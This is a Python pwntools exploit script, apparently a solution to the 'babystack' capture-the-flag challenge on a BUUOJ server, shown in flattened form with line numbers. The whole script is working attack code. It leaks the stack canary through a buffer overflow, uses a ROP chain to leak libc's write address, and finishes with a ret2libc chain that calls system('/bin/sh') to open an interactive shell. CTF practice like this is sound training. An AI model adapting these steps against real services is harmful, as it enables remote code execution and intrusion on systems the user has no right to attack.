1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import *
context(os='linux', arch='amd64', log_level='debug') io = remote('node4.buuoj.cn', 28052) path = './babystack'
elf = ELF(path) libc = ELF('libc-2.23.so')
padding1 = 0x88 payload1 = flat(b'a' * padding1) io.sendlineafter(b'>>', b'1') io.sendline(payload1) io.sendlineafter(b'>>', b'2') io.recvuntil(b'a\n') canary = u64(io.recv(7).rjust(8, b'\x00')) print('[+] Canary -->', hex(canary))
pop_rdi_ret = 0x400a93 puts_plt = elf.plt['puts'] write_got = elf.got['write'] main = 0x400908 payload2 = flat(b'a'*padding1, canary, 0, pop_rdi_ret, write_got, puts_plt, main) io.sendlineafter(b">>", b'1') io.sendline(payload2) io.sendlineafter(b">>", b'3')
io.recv() write_addr = u64(io.recv(6).ljust(8, b'\x00')) print('[+] write_addr -->', hex(write_addr)) libc_base = write_addr - libc.symbols['write'] system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload3 = flat(b'a'*padding1, canary, 0, pop_rdi_ret, binsh, system) io.sendlineafter(b">>", b'1') io.sendline(payload3) io.sendlineafter(b">>", b'3') io.interactive()
|